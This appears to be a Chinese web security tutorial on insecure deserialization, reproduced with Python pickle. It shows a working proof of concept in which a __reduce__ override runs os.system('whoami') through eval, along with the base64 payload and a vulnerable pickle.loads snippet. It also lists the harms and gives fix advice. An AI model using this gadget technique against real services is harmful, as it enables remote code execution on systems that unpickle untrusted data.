【WEB安全】不安全的反序列化

简介: 1.1. 什么是序列化和反序列化 序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。 序列化是指将对象或数据结构转换为字节流的过程。 在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其他系统。序列化后的字节流可以被保存下来,以后

1.1. 什么是序列化和反序列化

序列化和反序列化是指用于将对象或数据结构转换为字节流的过程,以便在不同系统之间进行传输或存储,并在需要时重新构造。

序列化是指将对象或数据结构转换为字节流的过程。在序列化过程中,对象的状态和数据被转换为一系列字节,这些字节可以按照一定的协议进行传输或存储。序列化通常用于将对象存储到磁盘或通过网络发送到其他系统。序列化后的字节流可以被保存下来,以后可以通过反序列化操作重新构建对象并恢复其状态和数据。

反序列化是指将序列化后的字节流转换回对象或数据结构的过程。在反序列化过程中,字节流被读取并解析,以还原为原始的对象或数据结构。反序列化通常用于从磁盘加载保存的对象或接收通过网络传输的序列化数据。通过反序列化,可以重新构建对象并恢复其之前序列化的状态和数据。

序列化和反序列化在许多领域都有广泛的应用,例如分布式系统、持久化存储、缓存机制以及跨平台通信。它们允许将复杂的对象或数据结构转换为字节流进行传输或存储,从而实现不同系统之间的数据交换和共享。

1.2. 漏洞介绍

不安全的反序列化是指在反序列化过程中存在潜在安全风险的情况,如果序列化的内容可控,在传递给应用进行反序列化时,可能会导致执行恶意代码或触发其他不受控制的行为。

以下是一些常见的不安全反序列化的情况:

  1. 不受限制的反序列化:如果反序列化操作没有适当的验证和限制,允许任意的序列化数据被反序列化,攻击者可以构造恶意的序列化数据来执行恶意代码。
  2. 未经过滤的输入:如果反序列化操作接受未经过滤的输入数据,攻击者可以通过构造特定的恶意数据来执行命令或导致不受控制的行为。
  3. 自定义的反序列化逻辑:如果使用自定义的反序列化逻辑而不是使用安全的序列化库或框架,可能会导致安全问题。自定义逻辑可能缺乏必要的安全验证和过滤步骤,从而容易受到攻击。
  4. 恶意的序列化数据:如果攻击者能够在反序列化操作中提供恶意构造的序列化数据,可能会导致命令执行或其他不受控制的行为。

1.3. 复现过程

网上大多是采用的php进行复现,一搜一大堆,这里我们用Python的pickle模块来进行复现。

1.3.1. pickle模块介绍

参考 doc,可见是一个序列化模块。

pickle doc

基础使用如下:

import pickle

# 定义一个对象
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# 创建一个 Person 对象
person = Person("d4m1ts", 18)

# 序列化对象
serialized_data = pickle.dumps(person)

# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")

# 反序列化数据
deserialized_person = pickle.loads(serialized_data)

# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}")  # 输出: d4m1ts
print(f"age: {deserialized_person.age}")  # 输出: 18

data

1.3.2. 魔术方法 reduce()

在Python中,__reduce__()是一个特殊方法,用于定义对象的序列化行为。当使用pickle模块对对象进行序列化和反序列化时,__reduce__()方法会被调用。

__reduce__()方法应该返回一个元组(),其中包含两个或三个元素。元组的第一个元素是用于重新构建对象的函数,第二个元素是传递给构建函数的参数(通常是一个元组),而第三个元素(可选)是用于恢复对象状态的可迭代对象。

简单来说,我们可以通过重写__reduse__()函数,来修改数据反序列化的方式。

修改刚才的代码,举例如下:

import pickle

# 定义一个对象
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __reduce__(self):
        print("Calling __reduce__()")
        # return (self.__class__, (self.value,))
        return (print, ("reduse poc test",))


# 创建一个 Person 对象
person = Person("d4m1ts", 18)

# 序列化对象
serialized_data = pickle.dumps(person)

# 序列化后的二进制数据
print(f"序列化后的数据: {serialized_data}", end="\n\n")

# 反序列化数据
deserialized_person = pickle.loads(serialized_data)

# 访问反序列化后的对象属性
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")
print(f"name: {deserialized_person.name}")  # 输出: d4m1ts
print(f"age: {deserialized_person.age}")  # 输出: 18

可见在反序列化的时候,调用的是我们重写时用的print方法。

unser

1.3.3. 漏洞场景举例复现

假设漏洞场景代码如下,其中userInput是我们可以控制输入的地方:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

userInput = ""
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")

根据上述代码,构造POC代码,生成序列化的内容,其中编写__reduse__()函数如下:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

    def __reduce__(self):
        return (eval, ('__import__("os").system("whoami")',))


person = Person("d4m1ts", 18)
serialized_data = pickle.dumps(person)
print(base64.b64encode(serialized_data).decode())

得到payload为: gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu

把payload插入漏洞场景测试一下:

import pickle
import base64

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

userInput = "gANjYnVpbHRpbnMKZXZhbApxAFghAAAAX19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIpcQGFcQJScQMu"
deserialized_person = pickle.loads(base64.b64decode(userInput))
print(f"反序列化后的对象所属类: {deserialized_person.__class__}")

success

可见成功执行了系统命令。

总结一下复现过程,就是写一个__reduse__函数来改变反序列化的行为即可。

1.4. 漏洞危害

  1. 远程代码执行:攻击者可以通过构造恶意序列化数据注入和执行任意代码,从而完全控制目标系统,并执行恶意操作。
  2. 远程命令执行:攻击者可以通过反序列化漏洞在目标系统上执行远程命令,从而对其他系统或网络资源造成进一步的威胁。
  3. 信息泄露:攻击者可以利用反序列化漏洞读取和获取目标系统中的敏感信息,例如数据库凭据、用户密码、加密密钥等。
  4. 拒绝服务(DoS)攻击:攻击者可以发送恶意序列化数据来触发异常或消耗过多的系统资源,导致系统崩溃或无法提供正常的服务。

1.5. 修复建议

  • 使用安全的序列化库或框架,这些库经过严格测试和审查,并提供了适当的安全防护机制。
  • 对反序列化输入进行严格的验证和过滤,只接受预期的数据格式和内容。
  • 不要从不受信任的来源接受序列化数据,尽量限制数据来源。
  • 定期更新和修复序列化库和相关组件,以获取最新的安全修补程序。
  • 配置系统和应用程序的安全设置,限制恶意代码执行的可能性。
目录
相关文章
|
6月前
|
Web App开发 监控 安全
OSS客户端签名直传实践:Web端安全上传TB级文件方案(含STS临时授权)
本文深入解析了客户端直传技术,涵盖架构设计、安全机制、性能优化等方面。通过STS临时凭证与分片上传实现高效安全的文件传输,显著降低服务端负载与上传耗时,提升系统稳定性与用户体验。
634 2
|
2月前
|
安全 Linux iOS开发
Burp Suite Professional 2025.10 发布 - Web 应用安全、测试和扫描
Burp Suite Professional 2025.10 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
278 3
|
3月前
|
存储 安全 Java
web渗透-反序列化漏洞
序列化是将对象转为可传输字符串的技术,便于存储与传输。PHP通过serialize/unserialize实现,Java通过Serializable接口和ObjectOutputStream完成。文中还介绍了反序列化漏洞在安全测试中的利用方法及CTF实战案例。
72 0
web渗透-反序列化漏洞
|
3月前
|
安全 Linux iOS开发
Burp Suite Professional 2025.9 发布 - Web 应用安全、测试和扫描
Burp Suite Professional 2025.9 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
395 0
Burp Suite Professional 2025.9 发布 - Web 应用安全、测试和扫描
|
5月前
|
安全 Linux iOS开发
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
550 0
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
5月前
|
存储 安全 JavaScript
Web Storage有哪些安全风险?
Web Storage有哪些安全风险?
|
8月前
|
安全 Linux API
Burp Suite Professional 2025.4 发布 - Web 应用安全、测试和扫描
Burp Suite Professional 2025.4 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
410 6
Burp Suite Professional 2025.4 发布 - Web 应用安全、测试和扫描
|
10月前
|
人工智能 Linux iOS开发
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
486 12
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
9月前
|
安全 大数据 数据挖掘
课时9:阿里云Web应用防火墙:全面保障网站的安全与可用性
阿里云Web应用防火墙(WAF)基于阿里巴巴十年攻防经验,提供全面的网站安全防护。它通过Web应用防护、CC攻击防护和业务风控,有效应对各类网络威胁,确保网站的安全与可用性。智能双引擎技术降低误报率,实时数据分析和虚拟补丁更新保障系统安全。WAF已成功护航多个重大活动,为企业提供高效、简便的安全解决方案。
265 0
|
12月前
|
缓存 安全 搜索推荐
阿里云先知安全沙龙(北京站) ——浅谈Web快速打点
信息收集是网络安全中的重要环节,常用工具如Hunter、Fofa和扫描工具可帮助全面了解目标系统的网络结构与潜在漏洞。遇到默认Nginx或Tomcat 404页面时,可通过扫路径、域名模糊测试、搜索引擎缓存等手段获取更多信息。AllIN工具(GitHub: P1-Team/AllIN)能高效扫描网站路径,发现敏感信息。漏洞利用则需充分准备,以应对突发情况,确保快速拿下目标站点。 简介:信息收集与漏洞利用是网络安全的两大关键步骤。通过多种工具和技术手段,安全人员可以全面了解目标系统,发现潜在漏洞,并制定有效的防御和攻击策略。

热门文章

最新文章